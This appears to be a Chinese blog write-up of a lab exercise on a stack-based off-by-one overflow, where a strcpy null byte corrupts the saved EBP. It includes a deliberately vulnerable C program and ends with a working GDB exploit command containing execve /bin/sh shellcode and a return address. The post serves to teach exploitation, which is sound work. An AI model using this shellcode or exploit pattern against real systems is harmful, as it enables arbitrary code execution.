pediy18-3

Off-By-One 漏洞(基于栈)

将源字符串复制到目标缓冲区可能会导致off-by-one

1.源字符串的长度等于缓冲区的长度。因为字符串的结尾会有一个\00。会溢出到目标缓冲区的上方。如果EBP恰好位于该缓冲区上方,则可导致任意代码执行。

漏洞源代码:

//vuln.c
#include <stdio.h>
#include <string.h>

void foo(char* arg);
void bar(char* arg);

void foo(char* arg) {
 bar(arg); /* [1] */
}

void bar(char* arg) {
 char buf[256];
 strcpy(buf, arg); /* [2] */
}

int main(int argc, char *argv[]) {
 if(strlen(argv[1])>256) { /* [3] */
  printf("Attempted Buffer Overflow\n");
  fflush(stdout);
  return -1;
 }
 foo(argv[1]); /* [4] */
 return 0;
}

上述漏洞的2处可能发生off-by-one。目标缓冲区的长度为256,因此长度为256字节的字符串可能导致任意代码执行。

通过观察堆栈布局

作者已经给出,这里的EBP末尾的一位58被淹没为00,从而导致EBP下降0x58位,即返回地址下降0x58位,导致了任意代码的执行。

进行测试:

首先输入256个"A"进行测试,可以看到返回地址为"AAAA",可以证实返回地址确实被修改了。

接下来寻找返回地址的具体位置。

在IDA里查看到执行完strcpy函数后的地址,为0x8048490。在该处下断点

可以看到EBP原本为0xffffce24,执行完后变为0xfffce00

执行前

执行后

所以下降了0x24位。

这里做一些补充的说明

leave 指令 mov esp,ebp    pop ebp

ret 指令 pop eip

所以在bar函数中并没有影响到什么,只是将foo函数的ebp值减少了0x24。在foo函数的ret处下断点便于观察。

使用了一个比较笨的方法,每次调整A与C的数量,然后在此处观察堆栈,直至BBBB在栈顶。最终找到 "A"*204+"B"*4+"C"*48。"BBBB"即为返回地址,此时便可以利用漏洞执行任意代码。

(为了确保最后的EXP正确,我将环境换成了i386的ubuntu。不然真的很麻烦)

注意:原文提供的shellcode在我的环境下运行会出现问题,我选择使用新的shellcode。直接附加运行代码在GDB的试试即可

尤其注意 shellcode不要放在离esp很近的地方,避免出现问题!! 调整

r `python -c 'print "\x90"*106+"\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80\x90\x90\x90\x90"+"\x90"*70+"\xa0\xf0\xff\xbf"+"C"*48'

最终运行结果。欢迎交流!

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值